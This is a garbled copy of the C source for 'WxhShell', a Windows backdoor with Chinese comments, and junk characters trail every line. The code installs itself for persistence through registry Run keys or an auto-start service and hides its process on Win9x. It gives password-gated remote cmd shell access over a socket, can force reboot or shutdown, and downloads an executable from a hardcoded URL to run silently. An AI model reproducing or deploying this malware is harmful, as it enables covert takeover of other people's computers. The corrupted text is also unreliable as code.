    ExitThread(0); 7nzNBtk  
    } C;u8qVI  
    break; zjzW;bo( d  
    } VI}.MnCa  
  // 关机 Ux<2!vh  
  case 'd': { tAPr4n!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $6(,/}==0  
    if(Boot(SHUTDOWN)) YkPc&&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ly?%RmHK  
    else { `*A!vO8  
    closesocket(wsh); AjTkQ)  
    ExitThread(0); 44uM:;  
    } #hA]r.  
    break; AE_7sM  
    } O3?3XB> <  
  // 获取shell hU:M]O0uw  
  case 's': { [@l:C\2  
    CmdShell(wsh); ^[7ZBmS  
    closesocket(wsh); ^x! N]  
    ExitThread(0); 5pOb;ry")`  
    break; q,ry3Nr4n  
  } k63]Qf=5?N  
  // 退出 +w(sDH~kd  
  case 'x': { jLANv{"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w3l+BUn:X  
    CloseIt(wsh); "Y9PS_u(~  
    break; }`O_  
    } cGevFlnh  
  // 离开 *r b/BZX{  
  case 'q': { _1s\ztDpw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Fh*$gzh*5  
    closesocket(wsh); Y7|R vLWoP  
    WSACleanup(); *u2pk>y)  
    exit(1); v4?qI >/  
    break; "kLu]M<  
        } dSD7(s!  
  } .pP{;:Avpn  
  } $\W|{u`  
Fq]ht*  
  // 提示信息 ewo1^&#>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1;; is  
} )FNvtLZ  
  } '7+e!>"  
/[[_}\xI%  
  return; rmX'Ym9#  
} 52*9q!  
H nKO  
// shell模块句柄 #HMJBQ4v#  
int CmdShell(SOCKET sock) F,t ,Ja  
{ Fk:yj 4'  
STARTUPINFO si; %gF; A*  
ZeroMemory(&si,sizeof(si)); >)/,5VSE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /rKdxsI*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2wHvHH!  
PROCESS_INFORMATION ProcessInfo; J>I.|@W4  
char cmdline[]="cmd"; j}0W|*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SR,id B&i  
  return 0; kRCuc}:SB  
} *, /ADtL  
C*;g!~{  
// 自身启动模式 ]h(}%fk_  
int StartFromService(void) aoLYw 9  
{ XZ@;Tyn0,  
typedef struct QAp+LSm  
{ MwoU>+XB  
  DWORD ExitStatus; ZnX]Q+w  
  DWORD PebBaseAddress; "pb$[*_@$  
  DWORD AffinityMask; ; TaR1e0  
  DWORD BasePriority; ^8,Y1r9`$  
  ULONG UniqueProcessId; .qjVw?E  
  ULONG InheritedFromUniqueProcessId; s 0}OsHAj  
}   PROCESS_BASIC_INFORMATION; @yBg)1AL  
&3 QdQ n,  
PROCNTQSIP NtQueryInformationProcess; 0P(U^rkR~  
/H_,1Fu|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~16QdwK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0K\Xxo.=  
TM|M#hMS  
  HANDLE             hProcess; ?tWcx;h:>  
  PROCESS_BASIC_INFORMATION pbi; ]K]$FX<f  
&WSxg&YG)\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '#~$Od4&=  
  if(NULL == hInst ) return 0; &<!DNXQ  
<,U=w[cH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9y BENvq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '@Zau\xC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B8+J0jdg6%  
q Ee1OB  
  if (!NtQueryInformationProcess) return 0; I~LN)hqdo  
P@ gVzx)M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a[<'%S#3x  
  if(!hProcess) return 0; #cG7h(!  
XcoV27  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mv7><C  
Dg^n`[WO  
  CloseHandle(hProcess); s>=DfE-;"  
_j$"fg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (=v :@\r  
if(hProcess==NULL) return 0; m/,.3v  
_:hrm%^  
HMODULE hMod; o,| LO$~  
char procName[255]; vwVK ^B  
unsigned long cbNeeded; & PHejG_#  
`Yk~2t"V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #cB=] (N  
VO _! +  
  CloseHandle(hProcess); uFseO9F.2  
\)\uAI-  
if(strstr(procName,"services")) return 1; // 以服务启动 e):jQite   
m `"^d #  
  return 0; // 注册表启动 ZLsfF =/G  
} k A`Z#yu  
/.Yf&2X\  
// 主模块 gB4&pPN  
int StartWxhshell(LPSTR lpCmdLine) AJk0jh\.j%  
{ XLEEd?Vct9  
  SOCKET wsl; {!? @u?M  
BOOL val=TRUE; !N\<QRb\q  
  int port=0; "/ N ?$  
  struct sockaddr_in door; :}QBrd  
mAycfa  
  if(wscfg.ws_autoins) Install(); =o N(1k^  
2K^D%U  
port=atoi(lpCmdLine); sVk+E'q  
|eN#9Bm  
if(port<=0) port=wscfg.ws_port; 5a$Q}!6E.Y  
X9W'.s.[Q  
  WSADATA data; gZa/?[+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Gk;n/! B  
NSQ}:m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Wdl1 =`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iD*%' #u  
  door.sin_family = AF_INET; 9g*O;0uz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =?o,' n0  
  door.sin_port = htons(port); $]V,H"  
PUt\^ke  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C$"N)6%q  
closesocket(wsl); Y(aEp_kV  
return 1; !+sC'/  
} RMinZ}/  
s)Gnj;  
  if(listen(wsl,2) == INVALID_SOCKET) { bYPkqitqz  
closesocket(wsl); 3Go/5X/  
return 1; -s?f<f{  
} = NHE_ 4/p  
  Wxhshell(wsl); rF9|xgFK  
  WSACleanup(); [}xVz"8V  
r]e1a\)r  
return 0; B3x4sK s  
t=,ZR}M1`  
} b3/@$x<  
#@ClhpLD  
// 以NT服务方式启动 ]><K8N3Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #[ei/p  
{ /_WA F90R?  
DWORD   status = 0; eUBf-xA  
  DWORD   specificError = 0xfffffff; D-{;;<nIr`  
'eyzH[l,(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2TFb!?/RQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F$L2bgQR?'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1NHiW v  
  serviceStatus.dwWin32ExitCode     = 0; I5nxY)v  
  serviceStatus.dwServiceSpecificExitCode = 0; OyI?P_0u  
  serviceStatus.dwCheckPoint       = 0; `,lm:x+(0  
  serviceStatus.dwWaitHint       = 0; YmrrZ&]q  
d=` a-R0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 968<yO]  
  if (hServiceStatusHandle==0) return; ///  
C bWz;$r  
status = GetLastError(); UB5CvM28  
  if (status!=NO_ERROR) NCrNlH IF  
{ Cz1Q@<)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; / @v V^!#1  
    serviceStatus.dwCheckPoint       = 0; 4>x$I9^Y!  
    serviceStatus.dwWaitHint       = 0; lN(|EI  
    serviceStatus.dwWin32ExitCode     = status; OD@k9I[  
    serviceStatus.dwServiceSpecificExitCode = specificError; U46qpb 7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gxKL yZO!  
    return; tTjadnX  
  } x;^DlyyYU  
-yP|CZM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~Q+E""  
  serviceStatus.dwCheckPoint       = 0; ;;4>vF#*  
  serviceStatus.dwWaitHint       = 0; '99rXw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  :EGvI  
} gGaA;YW1  
8v<802  
// 处理NT服务事件,比如:启动、停止 "[wkjNf%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l|kGp~  
{ `49: !M$i  
switch(fdwControl) *VUD!`F  
{ c-`'`L^J  
case SERVICE_CONTROL_STOP: \m xi8Z w  
  serviceStatus.dwWin32ExitCode = 0; k)3b0T@b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dguN<yS- E  
  serviceStatus.dwCheckPoint   = 0; MyZ5~jnr\  
  serviceStatus.dwWaitHint     = 0; \CU-a`n  
  { _J,lF-,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }'KHF0   
  } Y5ZBP?P  
  return; gmqL,H#  
case SERVICE_CONTROL_PAUSE: kC_Kb&Q0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YHp]O+c  
  break; Z[ 53cVT^  
case SERVICE_CONTROL_CONTINUE: h@2YQgw`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p!o?2Lbiw  
  break; L eu93f2  
case SERVICE_CONTROL_INTERROGATE: RM3"8J  
  break; , 3&D A  
}; Ajm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]as+gZ8  
} CJYpgSr  
\Dx;AKs  
// 标准应用程序主函数 D_Zt:tzO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jtv<{7a  
{ 1YtbV3  
HkQ rij6  
// 获取操作系统版本 ~]Weyb[ N  
OsIsNt=GetOsVer(); I_s*pT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m4on<5s/  
wZg~k\_lF  
  // 从命令行安装 Z [YSE T  
  if(strpbrk(lpCmdLine,"iI")) Install(); s?Z{LWZ@  
Rn$TYCO  
  // 下载执行文件 Zs|m_O G  
if(wscfg.ws_downexe) { 5h l!zA?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gl~9|$ivj>  
  WinExec(wscfg.ws_filenam,SW_HIDE); "=Cjm`9~j  
} Ez+8B|0P  
Ou]!@s  
if(!OsIsNt) { or`D-x)+@  
// 如果时win9x,隐藏进程并且设置为注册表启动 sZ> 0*S  
HideProc(); XI>HC'.0  
StartWxhshell(lpCmdLine); uC|bC#;  
} i<M F8 $  
else (&1 56 5  
  if(StartFromService()) WCP2x.gb5  
  // 以服务方式启动 ^4C djMF-E  
  StartServiceCtrlDispatcher(DispatchTable); {#,?K  
else Y;{(?0 s  
  // 普通方式启动 }BWT21'-Y  
  StartWxhshell(lpCmdLine); cDq*B*e  
e3k58  
return 0; k!V@Q!>,  
} t+#vcg,G  
hf:\^w  
S|O#KE  
!>:]k?$b  
=========================================== L5 wR4Ue)  
M7=|N:/_  
;)Sf|  
Prrz>  
,7)z avA  
tu^C<MV  
" L=gG23U&  
Uka(Vr:  
#include <stdio.h> ;( (|0Xa  
#include <string.h> W)AfXy  
#include <windows.h> L]E.TvM1*  
#include <winsock2.h> Q[9W{l+  
#include <winsvc.h> EUby QL  
#include <urlmon.h> ^@)*voP#G  
sZ0)f!aH:_  
#pragma comment (lib, "Ws2_32.lib") 6$t+Q~2G!  
#pragma comment (lib, "urlmon.lib") rQ(u@u;  
MaZVGrcC  
#define MAX_USER   100 // 最大客户端连接数 l6N"{iXU  
#define BUF_SOCK   200 // sock buffer Fr#QM0--B  
#define KEY_BUFF   255 // 输入 buffer 0 *]ZC'pm  
L-Mf{z  
#define REBOOT     0   // 重启 ^nLk{<D35  
#define SHUTDOWN   1   // 关机 >$7{H]  
kR <\iT0j  
#define DEF_PORT   5000 // 监听端口 jP.dQj^j&  
G[]h1f!  
#define REG_LEN     16   // 注册表键长度 v)~!HCG  
#define SVC_LEN     80   // NT服务名长度 2BO"mc<#$  
7 b{y  
// 从dll定义API nnTiu,2R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A3|X`X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qmtH0I7)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q zY5S0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @%8$k[  
QC(ce)Y  
// wxhshell配置信息 eC_i]q&o|  
struct WSCFG { cA~bH 6  
  int ws_port;         // 监听端口 FAq9G-\B  
  char ws_passstr[REG_LEN]; // 口令 2+yti,s+/  
  int ws_autoins;       // 安装标记, 1=yes 0=no :Aj[#4-=   
  char ws_regname[REG_LEN]; // 注册表键名 '`&b1Rc  
  char ws_svcname[REG_LEN]; // 服务名 G@U}4' V9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 91UC>]}H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e"ClG/M_XS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gR wRhA/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lr=quWDY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Y*O0_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7!~)a  
|Ew&.fgz  
}; jSw>z`'#H  
<1<0odB  
// default Wxhshell configuration M&KJZ  
struct WSCFG wscfg={DEF_PORT, /}S1e P6  
    "xuhuanlingzhe", EQX?Zs?C  
    1, q& esI  
    "Wxhshell", a``Q}.ST  
    "Wxhshell", pwl7aC+6d  
            "WxhShell Service", :q$.=?X3  
    "Wrsky Windows CmdShell Service", %1 rN6A!%  
    "Please Input Your Password: ", b<BkI""b  
  1, GD4+f|1.*  
  "http://www.wrsky.com/wxhshell.exe", LAuaowE\v  
  "Wxhshell.exe" %Lom#:L'  
    }; (R!`Z%  
,#hNHFa'JH  
// 消息定义模块 )!5"\eys  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HG3iK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hi&bNM>?O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 54Vb[;`Kkb  
char *msg_ws_ext="\n\rExit."; G#3$sz  
char *msg_ws_end="\n\rQuit."; Bpv"qU7  
char *msg_ws_boot="\n\rReboot..."; :JK+V2B$H  
char *msg_ws_poff="\n\rShutdown..."; Q@rlqWgU ~  
char *msg_ws_down="\n\rSave to "; eY_BECJ+OO  
 /EwNMU*6  
char *msg_ws_err="\n\rErr!"; #yOeL3|b'  
char *msg_ws_ok="\n\rOK!"; S^r[%l<'n  
.]/k#Hv  
char ExeFile[MAX_PATH]; ?}No'E1!I  
int nUser = 0; ygxaT"3"=  
HANDLE handles[MAX_USER]; RggO|s+0;  
int OsIsNt; |&~);>Cq2  
wvH*<,8V q  
SERVICE_STATUS       serviceStatus; ' &Tz8.jp~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n M `pnR_  
uk3PoB^>  
// 函数声明 |%j7Es  
int Install(void); Nk?L<'  
int Uninstall(void); lN7YU-ygz  
int DownloadFile(char *sURL, SOCKET wsh); }sM_^&e4X  
int Boot(int flag); >~uKkQ_p  
void HideProc(void); ! ~+mf^D  
int GetOsVer(void); O>IG7Ujl  
int Wxhshell(SOCKET wsl); "Jg* /F  
void TalkWithClient(void *cs); d V3R)  
int CmdShell(SOCKET sock); j^ttTq|l  
int StartFromService(void); X`7O%HiX/`  
int StartWxhshell(LPSTR lpCmdLine); ES5a`"H  
L7N>p4h]Xj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .19_EQ>+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QPW+L*2  
Kp[5"N8  
// 数据结构和表定义 87hU#nVYh  
SERVICE_TABLE_ENTRY DispatchTable[] = Xliw(B'\a4  
{ u9{Z*w3L7  
{wscfg.ws_svcname, NTServiceMain}, 2Iq*7n:v0  
{NULL, NULL} =64Ju Wvo  
}; avd`7eH2  
'3B7F5uLx"  
// 自我安装 Lp{/  
int Install(void) on f7V  
{ U)SQ3*j2D  
  char svExeFile[MAX_PATH]; :D:J_{HJ  
  HKEY key; MYUL y2)  
  strcpy(svExeFile,ExeFile); muKjeg'b  
(~^KXJ{->  
// 如果是win9x系统,修改注册表设为自启动 7+m.:~H3}  
if(!OsIsNt) { FeJKXYbk<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ORt)sn&~d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U-#vssJhk  
  RegCloseKey(key); ]u%Y8kBe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wfM|3GS+.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .WlZT-  
  RegCloseKey(key); {QIdeB[  
  return 0; 3#h@,>Z;  
    } >x${I`2w  
  } #$JY &!M  
} <KZ J  
else { =@.5J'!  
2~@Cj@P]  
// 如果是NT以上系统,安装为系统服务 e_llW(*l8^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #G("Oh  
if (schSCManager!=0) HCaEETk5  
{ HG)h,&nc-  
  SC_HANDLE schService = CreateService =]-D_$S~  
  ( /z4n?&tM  
  schSCManager, .7n`]S/  
  wscfg.ws_svcname, P,7beHjf  
  wscfg.ws_svcdisp, $WbfRyXi7'  
  SERVICE_ALL_ACCESS, %Pk@`t(3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }M${ _D  
  SERVICE_AUTO_START, NJ(H$tB@  
  SERVICE_ERROR_NORMAL, YF13&E2`\  
  svExeFile, CjU?3Ag  
  NULL, oTf^-29d  
  NULL, |]OI)w*  
  NULL, ,h'omU7  
  NULL, vVH*\&H\T  
  NULL 7@ mP;K0  
  ); rv %^2h<&  
  if (schService!=0) f6%7:B d  
  { n)rSgzI  
  CloseServiceHandle(schService); G\ /L.T  
  CloseServiceHandle(schSCManager); 7niI65  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  -to3I  
  strcat(svExeFile,wscfg.ws_svcname); ^j7]> I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "= *   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U_5\ FM  
  RegCloseKey(key); E1>zKENN;  
  return 0; 4z,n:>oH  
    } +qmV|$rmM  
  } ^-K ~y  
  CloseServiceHandle(schSCManager); Z|zT%8.8N  
} EV N:3  
} 5}`e"X  
MW)=l | G  
return 1; ?yAjxoE~?  
} 4"Pf0PD:  
# |,c3$  
// 自我卸载 NV9H"fI  
int Uninstall(void)  ),f d,  
{ <O]B'Wc [  
  HKEY key; ~Q5 i0s%  
8[H)t Kf8  
if(!OsIsNt) { jR{Rd}QtQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]D|Hq4ug  
  RegDeleteValue(key,wscfg.ws_regname); N"2P]Z r  
  RegCloseKey(key); x: 2 o$+v3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .$"69[1H  
  RegDeleteValue(key,wscfg.ws_regname); \rmge4`4  
  RegCloseKey(key); G!w?\-  
  return 0; ;Y`k-R:E6A  
  } X8(WsN  
} mjbV^^>  
} Y>PC>  
else { IJofbuzw:  
Nrk/_0^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Eb9{  
if (schSCManager!=0) _eMY ?  
{ 9d&}CZr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j'|`:^ Sy  
  if (schService!=0) rfhvdwwD  
  { };]f 3  
  if(DeleteService(schService)!=0) { 4GqE%n+ta~  
  CloseServiceHandle(schService); A@JZK+WB}  
  CloseServiceHandle(schSCManager); Iih]q  
  return 0; ^|=3sJ4[U  
  } 3Uni{Z]Q)  
  CloseServiceHandle(schService); fnudu0k  
  } |%5nV=&\  
  CloseServiceHandle(schSCManager); %1e{"_$O9  
} :faB7wduW;  
} -LEpT$v|  
5gY9D!;:0D  
return 1; o'p[G]NQ1o  
} &!O~ f  
!7aJfs2  
// 从指定url下载文件 Bhw|!Y&%  
int DownloadFile(char *sURL, SOCKET wsh) ;>B06v  
{ 3dC ;B@  
  HRESULT hr; k^r-~q+NV#  
char seps[]= "/"; #BX^"J{~  
char *token; $nW^Gqwj]1  
char *file; pN7 v7rs  
char myURL[MAX_PATH]; 1U~yu&  
char myFILE[MAX_PATH]; iU a `<  
Ems0"e  
strcpy(myURL,sURL); 2~2j?\AEd.  
  token=strtok(myURL,seps); FK.Qj P:  
  while(token!=NULL) P};GcV-  
  { uM('R;<^  
    file=token; ?FwjbG<  
  token=strtok(NULL,seps); Af7&;8pM  
  } x>~.cey  
Q1?0 ]5  
GetCurrentDirectory(MAX_PATH,myFILE); y`.m'n7>P  
strcat(myFILE, "\\"); xzTF| Z\  
strcat(myFILE, file); ex-W{k$  
  send(wsh,myFILE,strlen(myFILE),0); \P7y&`|  
send(wsh,"...",3,0); Gu@Znh-D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1PjqXgN5p  
  if(hr==S_OK) MuQ'L=iJ  
return 0; L64cCP*  
else N3rQ]HZiP  
return 1; ,Frdi>7 ~  
L% ?3VW  
}  F5FzT^  
6b9 &V`  
// 系统电源模块 j9/Ev]im|F  
int Boot(int flag) B[nkE+s  
{ ~7Jj\@68  
  HANDLE hToken; _4#&!b6  
  TOKEN_PRIVILEGES tkp; a #4 'X*  
#Do#e {=+  
  if(OsIsNt) { Z* L{;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A%c)=(,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N"q C-h  
    tkp.PrivilegeCount = 1; auT'ATW7i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z^=e3~-J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BbdJR]N/!h  
if(flag==REBOOT) { a#G]5T Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a#o6Nv  
  return 0; #-Ad0/  
} gaXKP1m^  
else { ;_hL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 37QXML  
  return 0; &\/b(|>  
} DTR/.Nr'K  
  } @Xb>GPVe#L  
  else { }^R_8{>k  
if(flag==REBOOT) { r(::3TF%#q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I{0bs Tp;  
  return 0; %"> Oy&3  
} 9M$N>[og  
else { O#5ll2?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1KtPq,  
  return 0; Y?>us  
} j |tu|Q  
} GXE6=BO  
IAJYD/Y&?  
return 1; f; "6I  
} L!]~ J?)  
XN=Cq*3}  
// win9x进程隐藏模块 r\-25F<e5  
void HideProc(void) 5@{+V!o,  
{ M"t=0[0DM:  
9IRvbE~2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {)vue0 vP  
  if ( hKernel != NULL ) P6E=*^^m(  
  { F}lgy;=h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X}5aE4K/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b:iZ.I  
    FreeLibrary(hKernel); n6a*|rE  
  } g#ZuRL  
:~2An-V  
return; D-8>?`n\  
} dLSnhZ  
r12{XW?~  
// 获取操作系统版本 ]/+qM)F  
int GetOsVer(void) w$5N6  
{ IFX|"3[$  
  OSVERSIONINFO winfo; m7XJe[O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Jc?;@{  
  GetVersionEx(&winfo); wnE c   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xmDX1sL**  
  return 1; @J~y_J{  
  else S%ri/}qI[{  
  return 0; [LonY49  
} FNDLqf!j  
RTSR-<{z  
// 客户端句柄模块 n(Up?_  
int Wxhshell(SOCKET wsl) 3_atv'I  
{  afEp4(X~  
  SOCKET wsh; @Y>3-,o,S  
  struct sockaddr_in client; ]kmOX  
  DWORD myID; dv0TJ 0%  
] %*970  
  while(nUser<MAX_USER) OvPy+I  
{ g)'tr '  
  int nSize=sizeof(client); \QUvImT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \2<2&=h?  
  if(wsh==INVALID_SOCKET) return 1; 34C ^vBp  
;f-|rC_"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z"gllpDr$  
if(handles[nUser]==0) co3H=#2a  
  closesocket(wsh); 8mA6l0  
else EGwY|+3  
  nUser++; K74oRKv  
  } GtO5,d_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !9"R4~4  
{I 7pk6Qd  
  return 0; P:k(=CzZ@J  
} G 7)D+],{Y  
Z"? AaD[  
// 关闭 socket Za!c=(5  
void CloseIt(SOCKET wsh) DuvP3(K  
{ BH0rT})  
closesocket(wsh); SEchF"KJQF  
nUser--; BHmA*3?  
ExitThread(0); W7A'5  
} 4Sg!NPuu7&  
cM4?G gn  
// 客户端请求句柄 \|>eG u  
void TalkWithClient(void *cs) ^qbX9.\  
{ +$>ut r  
):78GVp  
  SOCKET wsh=(SOCKET)cs; 5 J|;RtcR  
  char pwd[SVC_LEN]; gSj-~k P  
  char cmd[KEY_BUFF]; CHpDzG>]4  
char chr[1]; t=\V&,  
int i,j; ,P"R.A  
! T,7  
  while (nUser < MAX_USER) { #>'1oC{  
xdo{4XY^*W  
if(wscfg.ws_passstr) { )Q xv9:X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p>eD{#2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xYu~}kMu  
  //ZeroMemory(pwd,KEY_BUFF); \>=YxB q  
      i=0; 4_.k Q"'DH  
  while(i<SVC_LEN) { uWnS<O  
x}x@_w   
  // 设置超时 }2c}y7B,_  
  fd_set FdRead; b$R>GQ?#  
  struct timeval TimeOut; , D1[}Lr=K  
  FD_ZERO(&FdRead); JNp`@`0V  
  FD_SET(wsh,&FdRead); 1yB;"q&Xd  
  TimeOut.tv_sec=8; .;KupQ;*  
  TimeOut.tv_usec=0; u}%&LI`.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |I\A0aa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <$yer)_J!k  
,IJNuu\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ee|+uQ981>  
  pwd=chr[0]; @&ZTEznbyt  
  if(chr[0]==0xd || chr[0]==0xa) { aY:(0en]&  
  pwd=0; f,L  
  break; pn $50c  
  } J#x91Jh  
  i++; 'c$9[|x  
    } , ;d9uG2  
mTP.W#N  
  // 如果是非法用户,关闭 socket d}o1 j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `f'q/  
} 78QFaN$  
?3Jh{F_+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2mlE;.}8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $GO'L2oLwn  
^p7(  
while(1) { =hs@W)-O  
PRz oLzr  
  ZeroMemory(cmd,KEY_BUFF); %xZ.+Ff%  
F{"%ey">  
      // 自动支持客户端 telnet标准   kN$70N7I;  
  j=0; H0(zE *c~  
  while(j<KEY_BUFF) { Fp]8f&l8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -.*\J|S@g  
  cmd[j]=chr[0]; tJu<#h X  
  if(chr[0]==0xa || chr[0]==0xd) { sMS`-,37u  
  cmd[j]=0; "G,*Z0V5  
  break; %@&)t?/=  
  } &V:dcJ^Q  
  j++; ]czy8n$+  
    } )[K3p{4  
ibuI/VDF  
  // 下载文件 |"-,C}O  
  if(strstr(cmd,"http://")) { Y@4vQm+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XP`kf]9  
